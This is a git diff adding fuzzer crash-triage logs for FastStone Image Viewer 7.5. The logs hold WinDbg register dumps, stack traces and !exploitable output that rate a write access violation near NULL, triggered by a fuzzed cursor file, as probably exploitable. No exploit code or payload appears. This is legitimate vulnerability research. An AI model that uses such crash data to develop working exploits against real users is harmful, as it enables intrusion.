+STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfcb +INVOKING_STACK_FRAME:0 +DESCRIPTION:User Mode Write AV near NULL +SHORT_DESCRIPTION:WriteAV +CLASSIFICATION:PROBABLY_EXPLOITABLE +BUG_TITLE:Probably Exploitable - User Mode Write AV near NULL starting at image00000000_00400000+0x00000000001bdfcb (Hash=0x67613208.0x05751964) +EXPLANATION:User mode write access violations that are near NULL are probably exploitable. \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/1755/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/1755/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..4e04b59 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/1755/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/17789/Initial/SystemDebugger_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/17789/Initial/SystemDebugger_description.txt new file mode 100644 index 0000000..9258160 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/17789/Initial/SystemDebugger_description.txt @@ -0,0 +1,2 @@ +First Chance Exception: 0xc0000005 +Access Violation Writing To 0x0000000000000002 \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/17789/Initial/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/17789/Initial/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..02ea87c Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/17789/Initial/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/17789/WindowsDebugEngine_StackTrace.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/17789/WindowsDebugEngine_StackTrace.txt new file mode 100644 index 0000000..e8d766e --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/17789/WindowsDebugEngine_StackTrace.txt @@ -0,0 +1,173 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x1BF0: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x1BF0: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74bf0000 00000000`74c12000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74bd0000 00000000`74beb000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`749c0000 00000000`749dd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743b0000 00000000`749b4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(1bf0.1fc0): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=0019f4b6 ebx=40000000 ecx=07ec7b19 edx=00000000 esi=00000000 edi=07cd2fd4 +eip=005bdfcb esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz ac pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210216 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.738232302004225120000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 6.250000000000000000000e-0002 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=-5.26939e+034 -3.57004e-022 1.20434e-018 -1.54323e-027 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfcb +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07fa8130 07f25930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 0028d000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 0028d000 70f7fb2a 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62c9 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 0028d000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x2 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:WRITE +MAJOR_HASH:0x67613208 +MINOR_HASH:0x05751964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfcb +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfcb +INVOKING_STACK_FRAME:0 +DESCRIPTION:User Mode Write AV near NULL +SHORT_DESCRIPTION:WriteAV +CLASSIFICATION:PROBABLY_EXPLOITABLE +BUG_TITLE:Probably Exploitable - User Mode Write AV near NULL starting at image00000000_00400000+0x00000000001bdfcb (Hash=0x67613208.0x05751964) +EXPLANATION:User mode write access violations that are near NULL are probably exploitable. \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/17789/WindowsDebugEngine_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/17789/WindowsDebugEngine_description.txt new file mode 100644 index 0000000..e8d766e --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/17789/WindowsDebugEngine_description.txt @@ -0,0 +1,173 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x1BF0: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x1BF0: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74bf0000 00000000`74c12000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74bd0000 00000000`74beb000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`749c0000 00000000`749dd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743b0000 00000000`749b4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(1bf0.1fc0): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=0019f4b6 ebx=40000000 ecx=07ec7b19 edx=00000000 esi=00000000 edi=07cd2fd4 +eip=005bdfcb esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz ac pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210216 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.738232302004225120000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 6.250000000000000000000e-0002 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=-5.26939e+034 -3.57004e-022 1.20434e-018 -1.54323e-027 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfcb +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07fa8130 07f25930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 0028d000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 0028d000 70f7fb2a 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62c9 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 0028d000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x2 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:WRITE +MAJOR_HASH:0x67613208 +MINOR_HASH:0x05751964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfcb +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfcb +INVOKING_STACK_FRAME:0 +DESCRIPTION:User Mode Write AV near NULL +SHORT_DESCRIPTION:WriteAV +CLASSIFICATION:PROBABLY_EXPLOITABLE +BUG_TITLE:Probably Exploitable - User Mode Write AV near NULL starting at image00000000_00400000+0x00000000001bdfcb (Hash=0x67613208.0x05751964) +EXPLANATION:User mode write access violations that are near NULL are probably exploitable. \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/17789/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/17789/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..02ea87c Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/17789/action_1_Output_Unknown Action 1.txt differ diff --git 